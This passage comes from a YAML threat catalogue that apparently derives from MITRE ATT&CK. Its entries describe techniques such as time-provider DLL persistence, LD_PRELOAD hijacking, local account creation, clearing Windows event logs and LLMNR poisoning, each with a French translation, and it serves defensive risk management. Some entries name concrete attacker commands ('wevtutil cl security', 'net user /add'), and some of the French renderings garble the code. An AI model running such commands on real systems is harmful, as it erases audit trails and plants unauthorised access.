          \ d\u2019identification divulgu\xE9s publiquement ou vol\xE9s pour se connecter\
          \ l\xE9gitimement \xE0 des environnements distants via des [services \xE0\
          \ distance](https://attack.mitre.org/techniques/T1021). (Citation : Module\
          \ SSH Metasploit)\nhttps://attack.mitre.org/techniques/T1078/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.003
    ref_id: T1547.003
    name: Time Providers
    description: 'Adversaries may abuse time providers to execute DLLs when the system
      boots. The Windows Time service (W32Time) enables time synchronization across
      and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers
      are responsible for retrieving time stamps from hardware/network resources and
      outputting these values to other network clients.(Citation: Microsoft TimeProvider)


      Time providers are implemented as dynamic-link libraries (DLLs) that are registered
      in the subkeys of `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\`.(Citation:
      Microsoft TimeProvider) The time provider manager, directed by the service control
      manager, loads and starts time providers listed and enabled under this key at
      system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)


      Adversaries may abuse this architecture to establish persistence, specifically
      by creating a new arbitrarily named subkey  pointing to a malicious DLL in the
      `DllName` value. Administrator privileges are required for time provider registration,
      though execution will run in context of the Local Service account.(Citation:
      Github W32Time Oct 2017)

      https://attack.mitre.org/techniques/T1547/003'
    translations:
      fr:
        name: Fournisseurs de temps
        description: "Les adversaires peuvent abuser des fournisseurs de temps pour\
          \ ex\xE9cuter des DLL au d\xE9marrage du syst\xE8me. Le service de temps\
          \ Windows (W32Time) permet la synchronisation de l\u2019heure entre les\
          \ domaines et au sein de ceux-ci. (Citation : Microsoft W32Time f\xE9vrier\
          \ 2018) Les fournisseurs de temps W32Time sont charg\xE9s de r\xE9cup\xE9\
          rer les horodatages des ressources mat\xE9rielles/r\xE9seau et de transmettre\
          \ ces valeurs \xE0 d\u2019autres clients du r\xE9seau. (Citation : Microsoft\
          \ TimeProvider)\n\nLes fournisseurs de temps sont impl\xE9ment\xE9s sous\
          \ forme de biblioth\xE8ques de liens dynamiques (DLL) qui sont enregistr\xE9\
          es dans les sous-cl\xE9s de 'HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\\
          Services\\W32Time\\TimeProviders\\'. (Citation : Microsoft TimeProvider)\
          \ Le gestionnaire de fournisseurs de temps, dirig\xE9 par le gestionnaire\
          \ de contr\xF4le de service, charge et d\xE9marre les fournisseurs de temps\
          \ r\xE9pertori\xE9s et activ\xE9s sous cette cl\xE9 au d\xE9marrage du syst\xE8\
          me et/ou chaque fois que les param\xE8tres sont modifi\xE9s. (Citation :\
          \ Microsoft TimeProvider)\n\nLes adversaires peuvent abuser de cette architecture\
          \ pour \xE9tablir la persistance, en particulier en cr\xE9ant une nouvelle\
          \ sous-cl\xE9 nomm\xE9e arbitrairement pointant vers une DLL malveillante\
          \ dans la valeur \xAB DllName \xBB. Des privil\xE8ges d\u2019administrateur\
          \ sont requis pour l\u2019inscription du fournisseur de temps, mais l\u2019\
          ex\xE9cution s\u2019ex\xE9cute dans le contexte du compte du service local.\
          \ (Citation : github w32time octobre 2017)\nhttps://attack.mitre.org/techniques/T1547/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.005
    ref_id: T1546.005
    name: Trap
    description: 'Adversaries may establish persistence by executing malicious content
      triggered by an interrupt signal. The <code>trap</code> command allows programs
      and shells to specify commands that will be executed upon receiving interrupt
      signals. A common situation is a script allowing for graceful termination and
      handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.


      Adversaries can use this to register code to be executed when the shell encounters
      specific interrupts as a persistence mechanism. Trap commands are of the following
      format <code>trap ''command list'' signals</code> where "command list" will
      be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti
      Trap Statements)

      https://attack.mitre.org/techniques/T1546/005'
    translations:
      fr:
        name: "Pi\xE8ge"
        description: "Les adversaires peuvent \xE9tablir une persistance en ex\xE9\
          cutant du contenu malveillant d\xE9clench\xE9 par un signal d\u2019interruption.\
          \ La commande <code>trap</code> permet aux programmes et aux shells de sp\xE9\
          cifier des commandes qui seront ex\xE9cut\xE9es lors de la r\xE9ception\
          \ de signaux d\u2019interruption. Une situation courante est un script permettant\
          \ de terminer et de g\xE9rer en douceur les interruptions de clavier courantes\
          \ telles que <code>ctrl+c</code> et <code>ctrl+d</code>.\n\nLes adversaires\
          \ peuvent l\u2019utiliser pour enregistrer le code \xE0 ex\xE9cuter lorsque\
          \ l\u2019interpr\xE9teur rencontre des interruptions sp\xE9cifiques en tant\
          \ que m\xE9canisme de persistance. Les commandes d\u2019interruption sont\
          \ de format suivant : <code>pi\xE9ger les signaux 'liste de commandes'</code>\
          \ o\xF9 la \xAB\_liste de commandes\_\xBB sera ex\xE9cut\xE9e lorsque des\
          \ \xAB\_signaux\_\xBB sont re\xE7us. (Citation : Manuel des pi\xE8ges)(Citation\
          \ : Cyberciti Trap Statements)\nhttps://attack.mitre.org/techniques/T1546/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.006
    ref_id: T1574.006
    name: Dynamic Linker Hijacking
    description: "Adversaries may execute their own malicious payloads by hijacking\
      \ environment variables the dynamic linker uses to load shared libraries. During\
      \ the execution preparation phase of a program, the dynamic linker loads specified\
      \ absolute paths of shared libraries from environment variables and files, such\
      \ as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code>\
      \ on macOS. Libraries specified in environment variables are loaded first, taking\
      \ precedence over system libraries with the same function name.(Citation: Man\
      \ LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic\
      \ Libraries) These variables are often used by developers to debug binaries\
      \ without needing to recompile, deconflict mapped symbols, and implement custom\
      \ functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\
      \nOn Linux and macOS, hijacking dynamic linker variables may grant access to\
      \ the victim process's memory, system/network resources, and possibly elevated\
      \ privileges. This method may also evade detection from security products since\
      \ the execution is masked under a legitimate process. Adversaries can set environment\
      \ variables via the command line using the <code>export</code> command, <code>setenv</code>\
      \ function, or <code>putenv</code> function. Adversaries can also leverage [Dynamic\
      \ Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export\
      \ variables in a shell or set variables programmatically using higher level\
      \ syntax such Python\u2019s <code>os.environ</code>.\n\nOn Linux, adversaries\
      \ may set <code>LD_PRELOAD</code> to point to malicious libraries that match\
      \ the name of legitimate libraries which are requested by a victim program,\
      \ causing the operating system to load the adversary's malicious code upon execution\
      \ of the victim program. <code>LD_PRELOAD</code> can be set via the environment\
      \ variable or <code>/etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citation:\
      \ TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are\
      \ loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code>\
      \ respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed\
      \ Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)\
      \ \n\nOn macOS this behavior is conceptually the same as on Linux, differing\
      \ only in how the macOS dynamic libraries (dyld) is implemented at a lower level.\
      \ Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable\
      \ to point to malicious libraries containing names of legitimate libraries or\
      \ functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation:\
      \ Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina\
      \ Bypass)\nhttps://attack.mitre.org/techniques/T1574/006"
    translations:
      fr:
        name: "D\xE9tournement dynamique de Linker"
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ malveillantes en d\xE9tournant les variables d\u2019environnement que\
          \ l\u2019\xE9diteur de liens dynamiques utilise pour charger des biblioth\xE8\
          ques partag\xE9es. Au cours de la phase de pr\xE9paration de l\u2019ex\xE9\
          cution d\u2019un programme, l\u2019\xE9diteur de liens dynamique charge\
          \ les chemins absolus sp\xE9cifi\xE9s des biblioth\xE8ques partag\xE9es\
          \ \xE0 partir de variables et de fichiers d\u2019environnement, tels que\
          \ <code>LD_PRELOAD</code> sous Linux ou <code>DYLD_INSERT_LIBRARIES</code>\
          \ sous macOS. Les biblioth\xE8ques sp\xE9cifi\xE9es dans les variables d\u2019\
          environnement sont charg\xE9es en premier, ce qui a la priorit\xE9 sur les\
          \ biblioth\xE8ques syst\xE8me portant le m\xEAme nom de fonction. (Citation\
          \ : Man LD.SO)(Citation : Biblioth\xE8ques partag\xE9es TLDP)(Citation :\
          \ Biblioth\xE8ques dynamiques d\u2019archives Apple Doco) Ces variables\
          \ sont souvent utilis\xE9es par les d\xE9veloppeurs pour d\xE9boguer des\
          \ fichiers binaires sans avoir \xE0 recompiler, d\xE9samorcer les conflits\
          \ entre les symboles mapp\xE9s et impl\xE9menter des fonctions personnalis\xE9\
          es sans modifier la biblioth\xE8que d\u2019origine. (R\xE9f\xE9rence : Baeldung\
          \ LD_PRELOAD)\n\nSous Linux et macOS, le d\xE9tournement des variables de\
          \ l\u2019\xE9diteur de liens dynamiques peut accorder l\u2019acc\xE8s \xE0\
          \ la m\xE9moire du processus victime, aux ressources syst\xE8me/r\xE9seau\
          \ et \xE9ventuellement \xE0 des privil\xE8ges \xE9lev\xE9s. Cette m\xE9\
          thode peut \xE9galement \xE9chapper \xE0 la d\xE9tection des produits de\
          \ s\xE9curit\xE9 puisque l\u2019ex\xE9cution est masqu\xE9e par un processus\
          \ l\xE9gitime. Les adversaires peuvent d\xE9finir des variables d\u2019\
          environnement via la ligne de commande \xE0 l\u2019aide de la commande <code>export</code>,\
          \ de la fonction <code>setenv</code> ou de la fonction <code>putenv</code>.\
          \ Les adversaires peuvent \xE9galement tirer parti du [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006)\
          \ pour exporter des variables dans un shell ou d\xE9finir des variables\
          \ par programmation \xE0 l\u2019aide d\u2019une syntaxe de niveau sup\xE9\
          rieur telle que <code>os.environnement</code> de Python.\n\nSous Linux,\
          \ les adversaires peuvent configurer <code>LD_PRELOAD</code> pour qu\u2019\
          ils pointent vers des biblioth\xE8ques malveillantes qui correspondent au\
          \ nom de biblioth\xE8ques l\xE9gitimes demand\xE9es par un programme victime,\
          \ ce qui oblige le syst\xE8me d\u2019exploitation \xE0 charger le code malveillant\
          \ de l\u2019adversaire lors de l\u2019ex\xE9cution du programme victime.\
          \ <code>LD_PRELOAD</code> peut \xEAtre d\xE9fini via la variable d\u2019\
          environnement ou le fichier <code>/etc/ld.so.preload</code>. (Citation :\
          \ Man LD.SO)(Citation : Biblioth\xE8ques partag\xE9es TLDP) Les biblioth\xE8\
          ques sp\xE9cifi\xE9es par <code>LD_PRELOAD</code> sont charg\xE9es et mapp\xE9\
          es en m\xE9moire par <code>dlopen()</code> et <code>mmap()</code> respectivement.\
          \ (Citation : Injection de code sur Linux et macOS)(Citation : Aiguille\
          \ non inform\xE9e) (Citation : Phrack \xE0 moiti\xE9 mort 1997)(Citation\
          \ : Brown exploitant les linkers) \n\nSur macOS, ce comportement est conceptuellement\
          \ le m\xEAme que sur Linux, ne diff\xE9rant que par la fa\xE7on dont les\
          \ biblioth\xE8ques dynamiques macOS (dyld) sont impl\xE9ment\xE9es \xE0\
          \ un niveau inf\xE9rieur. Les adversaires peuvent d\xE9finir la variable\
          \ <code>d\u2019environnement DYLD_INSERT_LIBRARIES</code> pour qu\u2019\
          elle pointe vers des biblioth\xE8ques malveillantes contenant des noms de\
          \ biblioth\xE8ques l\xE9gitimes ou des fonctions demand\xE9es par un programme\
          \ victime. (Citation : TheEvilBit DYLD_INSERT_LIBRARIES)(R\xE9f\xE9rence\
          \ : Timac DYLD_INSERT_LIBRARIES)(Citation : Gabilondo DYLD_INSERT_LIBRARIES\
          \ contournement de Catalina)\nhttps://attack.mitre.org/techniques/T1574/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1136.001
    ref_id: T1136.001
    name: Local Account
    description: "Adversaries may create a local account to maintain access to victim\
      \ systems. Local accounts are those configured by an organization for use by\
      \ users, remote support, services, or for administration on a single system\
      \ or service. \n\nFor example, with a sufficient level of access, the Windows\
      \ <code>net user /add</code> command can be used to create a local account.\
      \ On macOS systems the <code>dscl -create</code> command can be used to create\
      \ a local account. Local accounts may also be added to network devices, often\
      \ via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
      \ commands such as <code>username</code>, or to Kubernetes clusters using the\
      \ `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service\
      \ Accounts Security)\n\nSuch accounts may be used to establish secondary credentialed\
      \ access that do not require persistent remote access tools to be deployed on\
      \ the system.\nhttps://attack.mitre.org/techniques/T1136/001"
    translations:
      fr:
        name: Compte local
        description: "Les adversaires peuvent cr\xE9er un compte local pour maintenir\
          \ l\u2019acc\xE8s aux syst\xE8mes des victimes. Les comptes locaux sont\
          \ ceux configur\xE9s par une organisation pour une utilisation par les utilisateurs,\
          \ le support \xE0 distance, les services ou pour l\u2019administration sur\
          \ un syst\xE8me ou un service unique. \n\nPar exemple, avec un niveau d\u2019\
          acc\xE8s suffisant, la commande Windows <code>net user /add</code> peut\
          \ \xEAtre utilis\xE9e pour cr\xE9er un compte local. Sur les syst\xE8mes\
          \ macOS, la commande <code>dscl -create</code> peut \xEAtre utilis\xE9e\
          \ pour cr\xE9er un compte local. Des comptes locaux peuvent \xE9galement\
          \ \xEAtre ajout\xE9s aux p\xE9riph\xE9riques r\xE9seau, souvent via des\
          \ commandes courantes [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ telles que le <code>nom d\u2019utilisateur</code>, ou \xE0 des clusters\
          \ Kubernetes \xE0 l\u2019aide de l\u2019utilitaire 'kubectl'. (R\xE9f\xE9\
          rence : cisco_username_cmd)(Citation : S\xE9curit\xE9 des comptes de service\
          \ Kubernetes)\n\nCes comptes peuvent \xEAtre utilis\xE9s pour \xE9tablir\
          \ un acc\xE8s secondaire authentifi\xE9 qui ne n\xE9cessite pas le d\xE9\
          ploiement d\u2019outils d\u2019acc\xE8s \xE0 distance persistants sur le\
          \ syst\xE8me.\nhttps://attack.mitre.org/techniques/T1136/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1092
    ref_id: T1092
    name: Communication Through Removable Media
    description: 'Adversaries can perform command and control between compromised
      hosts on potentially disconnected networks using removable media to transfer
      commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both
      systems would need to be compromised, with the likelihood that an Internet-connected
      system was compromised first and the second through lateral movement by [Replication
      Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands
      and files would be relayed from the disconnected system to the Internet-connected
      system to which the adversary has direct access.

      https://attack.mitre.org/techniques/T1092'
    translations:
      fr:
        name: Communication par le biais de supports amovibles
        description: "Les adversaires peuvent effectuer des commandes et des contr\xF4\
          les entre des h\xF4tes compromis sur des r\xE9seaux potentiellement d\xE9\
          connect\xE9s \xE0 l\u2019aide de supports amovibles pour transf\xE9rer des\
          \ commandes d\u2019un syst\xE8me \xE0 l\u2019autre. (Citation : ESET Sednit\
          \ USBStealer 2014) Les deux syst\xE8mes devraient \xEAtre compromis, avec\
          \ la probabilit\xE9 qu\u2019un syst\xE8me connect\xE9 \xE0 Internet ait\
          \ \xE9t\xE9 compromis en premier et le second par un mouvement lat\xE9ral\
          \ par [R\xE9plication via un support amovible](https://attack.mitre.org/techniques/T1091).\
          \ Les commandes et les fichiers seraient relay\xE9s du syst\xE8me d\xE9\
          connect\xE9 au syst\xE8me connect\xE9 \xE0 Internet auquel l\u2019adversaire\
          \ a un acc\xE8s direct.\nhttps://attack.mitre.org/techniques/T1092"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1070.001
    ref_id: T1070.001
    name: Clear Windows Event Logs
    description: 'Adversaries may clear Windows Event Logs to hide the activity of
      an intrusion. Windows Event Logs are a record of a computer''s alerts and notifications.
      There are three system-defined sources of events: System, Application, and Security,
      with five event types: Error, Warning, Information, Success Audit, and Failure
      Audit.



      With administrator privileges, the event logs can be cleared with the following
      utility commands:


      * <code>wevtutil cl system</code>

      * <code>wevtutil cl application</code>

      * <code>wevtutil cl security</code>


      These logs may also be cleared through other mechanisms, such as the event viewer
      GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example,
      adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code>
      to delete the Security EventLog and after reboot, disable future logging.  Note:
      events may still be generated and logged in the .evtx file between the time
      the command is run and the reboot.(Citation: disable_win_evt_logging)


      Adversaries may also attempt to clear logs by directly deleting the stored log
      files within `C:\Windows\System32\winevt\logs\`.

      https://attack.mitre.org/techniques/T1070/001'
    translations:
      fr:
        name: "Effacer les journaux d\u2019\xE9v\xE9nements Windows"
        description: "Les adversaires peuvent effacer les journaux d\u2019\xE9v\xE9\
          nements Windows pour masquer l\u2019activit\xE9 d\u2019une intrusion. Les\
          \ journaux d\u2019\xE9v\xE9nements Windows sont un enregistrement des alertes\
          \ et des notifications d\u2019un ordinateur. Il existe trois sources d\u2019\
          \xE9v\xE9nements d\xE9finies par le syst\xE8me : Syst\xE8me, Application\
          \ et S\xE9curit\xE9, avec cinq types d\u2019\xE9v\xE9nements : Erreur, Avertissement,\
          \ Information, Audit de r\xE9ussite et Audit d\u2019\xE9chec.\n\nAvec les\
          \ privil\xE8ges d\u2019administrateur, les journaux d\u2019\xE9v\xE9nements\
          \ peuvent \xEAtre effac\xE9s \xE0 l\u2019aide des commandes utilitaires\
          \ suivantes :\n\n* <code>Syst\xE8me Wevtutil CL</code>\n* <code>Wevtutil\
          \ CL Application</code>\n* <code>Wevtutil CL S\xE9curit\xE9</code>\n\nCes\
          \ journaux peuvent \xE9galement \xEAtre effac\xE9s par d\u2019autres m\xE9\
          canismes, tels que l\u2019interface graphique de l\u2019observateur d\u2019\
          \xE9v\xE9nements ou [PowerShell](https://attack.mitre.org/techniques/T1059/001).\
          \ Par exemple, les adversaires peuvent utiliser la commande PowerShell <code>Remove-EventLog\
          \ -LogName Security</code> pour supprimer le Security EventLog et, apr\xE8\
          s le red\xE9marrage, d\xE9sactiver la journalisation future.  Remarque :\
          \ des \xE9v\xE9nements peuvent toujours \xEAtre g\xE9n\xE9r\xE9s et enregistr\xE9\
          s dans le fichier .evtx entre l\u2019ex\xE9cution de la commande et le red\xE9\
          marrage. (R\xE9f\xE9rence : disable_win_evt_logging)\n\nLes adversaires\
          \ peuvent \xE9galement tenter d\u2019effacer les journaux en supprimant\
          \ directement les fichiers journaux stock\xE9s dans 'C\_:\\Windows\\System32\\\
          winevt\\logs\\'.\nhttps://attack.mitre.org/techniques/T1070/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1585.002
    ref_id: T1585.002
    name: Email Accounts
    description: "Adversaries may create email accounts that can be used during targeting.\
      \ Adversaries can use accounts created with email providers to further their\
      \ operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598)\
      \ or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant\
      \ APT1) Establishing email accounts may also allow adversaries to abuse free\
      \ services \u2013 such as trial periods \u2013 to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)\
      \ for follow-on purposes.(Citation: Free Trial PurpleUrchin)\n\nAdversaries\
      \ may also take steps to cultivate a persona around the email account, such\
      \ as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001),\
      \ to increase the chance of success of follow-on behaviors. Created email accounts\
      \ can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation:\
      \ Mandiant APT1)\n\nTo decrease the chance of physically tying back operations\
      \ to themselves, adversaries may make use of disposable email services.(Citation:\
      \ Trend Micro R980 2016)\nhttps://attack.mitre.org/techniques/T1585/002"
    translations:
      fr:
        name: Comptes de messagerie
        description: "Les adversaires peuvent cr\xE9er des comptes de messagerie qui\
          \ peuvent \xEAtre utilis\xE9s lors du ciblage. Les adversaires peuvent utiliser\
          \ des comptes cr\xE9\xE9s aupr\xE8s de fournisseurs de messagerie pour poursuivre\
          \ leurs op\xE9rations, par exemple en les exploitant pour effectuer des\
          \ [hame\xE7onnages contre des informations](https://attack.mitre.org/techniques/T1598)\
          \ ou des [hame\xE7onnages](https://attack.mitre.org/techniques/T1566). (R\xE9\
          f\xE9rence : Mandiant APT1) La cr\xE9ation de comptes de messagerie peut\
          \ \xE9galement permettre \xE0 des adversaires d\u2019abuser de services\
          \ gratuits, tels que des p\xE9riodes d\u2019essai, pour [Acqu\xE9rir une\
          \ infrastructure](https://attack.mitre.org/techniques/T1583) \xE0 des fins\
          \ de suivi. (Citation\_: Essai gratuit PurpleUrchin)\n\nLes adversaires\
          \ peuvent \xE9galement prendre des mesures pour cultiver un personnage autour\
          \ du compte de messagerie, par exemple en utilisant des [comptes de m\xE9\
          dias sociaux](https://attack.mitre.org/techniques/T1585/001), afin d\u2019\
          augmenter les chances de succ\xE8s des comportements de suivi. Les comptes\
          \ de messagerie cr\xE9\xE9s peuvent \xE9galement \xEAtre utilis\xE9s dans\
          \ l\u2019acquisition d\u2019infrastructures (ex : [Domaines](https://attack.mitre.org/techniques/T1583/001)).\
          \ (R\xE9f\xE9rence : Mandiant APT1)\n\nPour r\xE9duire le risque de lier\
          \ physiquement les op\xE9rations \xE0 eux-m\xEAmes, les adversaires peuvent\
          \ utiliser des services de messagerie jetables. (Citation : Trend Micro\
          \ R980 2016)\nhttps://attack.mitre.org/techniques/T1585/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1557.001
    ref_id: T1557.001
    name: LLMNR/NBT-NS Poisoning and SMB Relay
    description: "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof\
      \ an authoritative source for name resolution to force communication with an\
      \ adversary controlled system. This activity may be used to collect or relay\
      \ authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR)\
      \ and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve\
      \ as alternate methods of host identification. LLMNR is based upon the Domain\
      \ Name System (DNS) format and allows hosts on the same local link to perform\
      \ name resolution for other hosts. NBT-NS identifies systems on a local network\
      \ by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\
      \nAdversaries can spoof an authoritative source for name resolution on a victim\
      \ network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they\
      \ know the identity of the requested host, effectively poisoning the service\
      \ so that the victims will communicate with the adversary controlled system.\
      \ If the requested host belongs to a resource that requires identification/authentication,\
      \ the username and NTLMv2 hash will then be sent to the adversary controlled\
      \ system. The adversary can then collect the hash information sent over the\
      \ wire through tools that monitor the ports for traffic or through [Network\
      \ Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes\
      \ offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to\
      \ obtain the plaintext passwords.\n\nIn some cases where an adversary has access\
      \ to a system that is in the authentication path between systems or when automated\
      \ scans that use credentials attempt to authenticate to an adversary controlled\
      \ system, the NTLMv1/v2 hashes can be intercepted and relayed to access and\
      \ execute code against a target system. The relay step can happen in conjunction\
      \ with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM\
      \ Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may\
      \ encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB,\
      \ MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\_\
      \n\nSeveral tools may be used to poison name services within local networks\
      \ such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation:\
      \ GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)\n\
      https://attack.mitre.org/techniques/T1557/001"
    translations:
      fr:
        name: Empoisonnement LLMNR/NBT-NS et relais SMB
        description: "En r\xE9pondant au trafic r\xE9seau LLMNR/NBT-NS, les adversaires\
          \ peuvent usurper une source faisant autorit\xE9 pour la r\xE9solution de\
          \ noms afin de forcer la communication avec un syst\xE8me contr\xF4l\xE9\
          \ par l\u2019adversaire. Cette activit\xE9 peut \xEAtre utilis\xE9e pour\
          \ collecter ou relayer des documents d\u2019authentification. \n\nLa r\xE9\
          solution de noms de multidiffusion locale (LLMNR) et le service de noms\
          \ NetBIOS (NBT-NS) sont des composants Microsoft Windows qui servent d\u2019\
          autres m\xE9thodes d\u2019identification de l\u2019h\xF4te. LLMNR est bas\xE9\
          \ sur le format DNS (Domain Name System) et permet aux h\xF4tes sur la m\xEA\
          me liaison locale d\u2019effectuer la r\xE9solution de noms pour d\u2019\
          autres h\xF4tes. NBT-NS identifie les syst\xE8mes d\u2019un r\xE9seau local\
          \ par leur nom NetBIOS. (Citation : Wikip\xE9dia LLMNR)(Citation : TechNet\
          \ NetBIOS)\n\nLes adversaires peuvent usurper une source faisant autorit\xE9\
          \ pour la r\xE9solution de noms sur un r\xE9seau victime en r\xE9pondant\
          \ au trafic LLMNR (UDP 5355)/NBT-NS (UDP 137) comme s\u2019ils connaissaient\
          \ l\u2019identit\xE9 de l\u2019h\xF4te demand\xE9, empoisonnant ainsi le\
          \ service afin que les victimes communiquent avec le syst\xE8me contr\xF4\
          l\xE9 par l\u2019adversaire. Si l\u2019h\xF4te demand\xE9 appartient \xE0\
          \ une ressource qui n\xE9cessite une identification/authentification, le\
          \ nom d\u2019utilisateur et le hachage NTLMv2 seront alors envoy\xE9s au\
          \ syst\xE8me contr\xF4l\xE9 par l\u2019adversaire. L\u2019adversaire peut\
          \ ensuite collecter les informations de hachage envoy\xE9es sur le r\xE9\
          seau \xE0 l\u2019aide d\u2019outils qui surveillent les ports pour le trafic\
          \ ou via [Network Sniffing](https://attack.mitre.org/techniques/T1040) et\
          \ craquer les hachages hors ligne via [Brute Force](https://attack.mitre.org/techniques/T1110)\
          \ pour obtenir les mots de passe en texte brut.\n\nDans certains cas o\xF9\
          \ un adversaire a acc\xE8s \xE0 un syst\xE8me qui se trouve dans le chemin\
          \ d\u2019authentification entre les syst\xE8mes ou lorsque des analyses\
          \ automatis\xE9es qui utilisent des informations d\u2019identification tentent\
          \ de s\u2019authentifier aupr\xE8s d\u2019un syst\xE8me contr\xF4l\xE9 par\
          \ l\u2019adversaire, les hachages NTLMv1/v2 peuvent \xEAtre intercept\xE9\
          s et relay\xE9s pour acc\xE9der \xE0 un syst\xE8me cible et ex\xE9cuter\
          \ du code sur celui-ci. Le pas de relais peut se produire en conjonction\
          \ avec un empoisonnement, mais peut aussi en \xEAtre ind\xE9pendant. (Citation\
          \ : byt3bl33d3r Relais NTLM)(Citation : Secure Ideas SMB Relay) De plus,\
          \ les adversaires peuvent encapsuler les hachages NTLMv1/v2 dans divers\
          \ protocoles, tels que LDAP, SMB, MSSQL et HTTP, afin d\u2019\xE9tendre\
          \ et d\u2019utiliser plusieurs services avec la r\xE9ponse NTLM valide.\_\
          \n\nPlusieurs outils peuvent \xEAtre utilis\xE9s pour empoisonner les services\
          \ de noms au sein des r\xE9seaux locaux, tels que NBNSpoof, Metasploit et\
          \ [Responder](https://attack.mitre.org/software/S0174). (Citation : GitHub\
          \ NBNSpoof)(Citation : Rapid7 LLMNR Spoofer)(Citation : GitHub Responder)\n\
          https://attack.mitre.org/techniques/T1557/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1222
    ref_id: T1222
    name: File and Directory Permissions Modification
    description: "Adversaries may modify file or directory permissions/attributes\
      \ to evade access control lists (ACLs) and access protected files.(Citation:\
      \ Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)\
      \ File and directory permissions are commonly managed by ACLs configured by\
      \ the file or directory owner, or users with the appropriate permissions. File\
      \ and directory ACL implementations vary by platform, but generally explicitly\
      \ designate which users or groups can perform which actions (read, write, execute,\
      \ etc.).\n\nModifications may include changing specific access rights, which\
      \ may require taking ownership of a file or directory and/or elevated permissions\
      \ depending on the file or directory\u2019s existing permissions. This may enable\
      \ malicious activity such as modifying, replacing, or deleting specific files\
      \ or directories. Specific file and directory modifications may be a required\
      \ step for many techniques, such as establishing Persistence via [Accessibility\
      \ Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization\
      \ Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration\
      \ Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking\
      \ other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\
      \nAdversaries may also change permissions of symbolic links. For example, malware\
      \ (particularly ransomware) may modify symbolic links and associated settings\
      \ to enable access to files from local shortcuts with remote paths.(Citation:\
      \ new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation:\
      \ blackmatter_blackcat)(Citation: fsutil_behavior)\nhttps://attack.mitre.org/techniques/T1222"
    translations:
      fr:
        name: "Modification des autorisations de fichiers et de r\xE9pertoires"
        description: "Les adversaires peuvent modifier les autorisations/attributs\
          \ de fichiers ou de r\xE9pertoires pour contourner les listes de contr\xF4\
          le d\u2019acc\xE8s (ACL) et acc\xE9der aux fichiers prot\xE9g\xE9s. (Citation\
          \ : Hybrid Analysis Icacls1 juin 2018)(Citation : Analyse hybride Icacls2\
          \ mai 2018) Les autorisations de fichiers et de r\xE9pertoires sont g\xE9\
          n\xE9ralement g\xE9r\xE9es par des listes de contr\xF4le d\u2019acc\xE8\
          s configur\xE9es par le propri\xE9taire du fichier ou du r\xE9pertoire,\
          \ ou par les utilisateurs disposant des autorisations appropri\xE9es. Les\
          \ impl\xE9mentations de listes de contr\xF4le d\u2019acc\xE8s de fichiers\
          \ et de r\xE9pertoires varient selon la plate-forme, mais d\xE9signent g\xE9\
          n\xE9ralement explicitement quels utilisateurs ou groupes peuvent effectuer\
